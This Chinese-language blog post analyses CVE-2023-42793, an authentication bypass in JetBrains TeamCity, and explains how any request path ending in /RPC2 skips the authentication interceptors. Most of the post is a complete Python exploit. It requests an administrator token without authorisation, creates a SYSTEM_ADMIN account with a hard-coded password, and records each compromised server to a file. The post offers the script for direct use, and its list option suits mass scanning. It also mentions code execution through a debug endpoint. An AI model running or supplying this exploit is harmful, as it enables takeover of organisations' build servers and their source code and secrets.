fever
fever
发布于 2023-10-15 / 49 阅读
2
0

JetBrains TeamCity权限绕过漏洞CVE-2023-42793

JetBrains TeamCity权限绕过漏洞(CVE-2023-42793)

简介:TeamCity 是一款CICD的解决方案软件。这个漏洞可以进行权限绕过直接创建管理员账号并且登入。其实通过/app/rest/debug/processes?exePath=可以进行任意代码执行的,前提是开启了调试功能,不过这里就不提了。
说一下漏洞成因,这样接下来更有感觉。成因就是路径匹配太宽松导致其中一个方法提前return true而跳过了后面继续进行身份验证的方法,于是可以未授权创建一个token,进而使用这个token去创建一个管理员的账号。

上代码

我们先来看几段代码
第一段RequestInterceptors

  public RequestInterceptors(@NotNull List<HandlerInterceptor> paramList) {
    this.myInterceptors.addAll(paramList);
    this.myPreHandlingDisabled.addPath("/**" + XmlRpcController.getPathSuffix());
    this.myPreHandlingDisabled.addPath("/app/agents/**");
  }

这里XmlRpcController.getPathSuffix()的结果是/RPC2

第二段requestPreHandlingAllowed

private boolean requestPreHandlingAllowed(HttpServletRequest request) {
    String path = WebUtil.getPathWithoutContext(request);
    return !myPreHandlingDisabled.matches(path); 
}

获取路径,然后匹配,更上面一段呼应this.myPreHandlingDisabled.addPath("/**" + XmlRpcController.getPathSuffix());
也就是说。如果是/**/RPC2这里就return flase

第三段RequestInterceptors.preHandle

public final boolean preHandle(HttpServletRequest request, ...) {
    if (!requestPreHandlingAllowed(request)) {
        return true; // 直接放行,跳过后续拦截器
    }
  ...
    // 正常执行身份验证拦截器
    for (HandlerInterceptor interceptor : myInterceptors) {
        if (!interceptor.preHandle(request, response, handler)) {
            return false;
        }
    }
    return true;
}

这一段代码是权限绕过的典型,如果满足第一个if直接return true,所以如果!requestPreHandlingAllowed(request)是false,那么就return true。而上面说了如果是/**/RPC,那么requestPreHandlingAllowed就return flase。so...
跳过了一堆拦截器

干坏事

那么怎么干坏事呢?找到一个匹配/**/RPC2的地方,并且这个地方能干坏事
于是我们找到这个/app/rest/users/{userLocator}/tokens/{name},这个点是生成token的点,{userLocator}为id:1的时候,就是管理员的token,生成token是不是一般会有身份验证啊?那么{name}的值是RPC2的时候你又该如何应对呢?
ok,于是我们生成了一个token,这个token根据 软件自己的功能,发现他可以进行授权操作,或者其他管理员能干的操作。

poc

直接上创建管理员账号的POC

import random
import requests
import argparse
import xml.etree.ElementTree as ET

Color_Off="\033[0m" 
Black="\033[0;30m"        # Black
Red="\033[0;31m"          # Red
Green="\033[0;32m"        # Green
Yellow="\033[0;33m"       # Yellow
Blue="\033[0;34m"         # Blue
Purple="\033[0;35m"       # Purple
Cyan="\033[0;36m"         # Cyan
White="\033[0;37m"        # White

class CVE_2023_42793:
    def __init__(self):
        self.url = ""
        self.session = requests.session()

    def username(self):
        name = "H454NSec"
        random_id = random.randint(1000, 9999)
        return f"{name}{random_id}"

    def delete_user_token(self, url):
        self.url = url
        headers = {
            "User-Agent": "Mozilla/5.0 (https://github.com/H454NSec/CVE-2023-42793) Gecko/20100101 Firefox/113.0",
            "Content-Type": "application/x-www-form-urlencoded",
            "Accept-Encoding": "gzip, deflate"
            }
        try:
            response = self.session.delete(f"{self.url}/app/rest/users/id:1/tokens/RPC2", headers=headers, timeout=10)
            if response.status_code == 204 or  response.status_code == 404:
                self.create_user_token()
        except Exception as err:
            pass

    def create_user_token(self):
        headers = {
            "User-Agent": "Mozilla/5.0 (https://github.com/H454NSec/CVE-2023-42793) Gecko/20100101 Firefox/113.0",
            "Accept-Encoding": "gzip, deflate"
            }
        try:
            response = self.session.post(f"{self.url}/app/rest/users/id:1/tokens/RPC2", headers=headers, timeout=10)
            if response.status_code == 200:
                response_text = response.text
                root = ET.fromstring(response_text)
                value = root.get('value')
                if value.startswith("eyJ0eXAiOiAiVENWMiJ9"):
                    self.create_user(value)
        except Exception as err:
            pass

    def create_user(self, token):
        uname = self.username()
        headers = {
            "User-Agent": "Mozilla/5.0 (https://github.com/H454NSec/CVE-2023-42793) Gecko/20100101 Firefox/113.0",
            "Accept": "*/*",
            "Authorization": f"Bearer {token}",
            "Content-Type": "application/json",
            }
        creds = {
            "email": "",
            "username": uname,
            "password": "@H454NSec",
            "roles": {
                "role": [{
                        "roleId": "SYSTEM_ADMIN",
                        "scope": "g"
                    }]
            }
        }
        try:
            response = self.session.post(f"{self.url}/app/rest/users", headers=headers, json=creds, timeout=10)
            if response.status_code == 200:
                print(f"{Green}[+] {Yellow}{self.url}/login.html {Green}[{uname}:@H454NSec]{Color_Off}")
                with open("vulnerable.txt", "a") as o:
                    o.write(f"[{uname}:@H454NSec] {self.url}\n")
        except Exception as err:
            pass

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('-u', '--url', help='Url of the TeamCity')
    parser.add_argument('-l', '--list', help='List of urls')
    args = parser.parse_args()
    db = []
    url_list = args.list
    if url_list:
        try:
            with open(url_list, "r") as fr:
                for data in fr.readlines():
                    db.append(data.strip())
        except Exception as err:
            print(err)
    elif args.url:
        db.append(args.url)
        cve = CVE_2023_42793()
        for ip in db:
            url = ip[:-1] if ip.endswith("/") else ip
            if not url.startswith("https://"):
                if not url.startswith("http://"):
                    url = f"http://{url}"
            cve.delete_user_token(url)

运行脚本,生成账号密码,登陆直接win
b5d78ba28176cba571dd81a6fefd3f6.png4cbf1d35f0d7ffe98706f85ab7d63c1.png


评论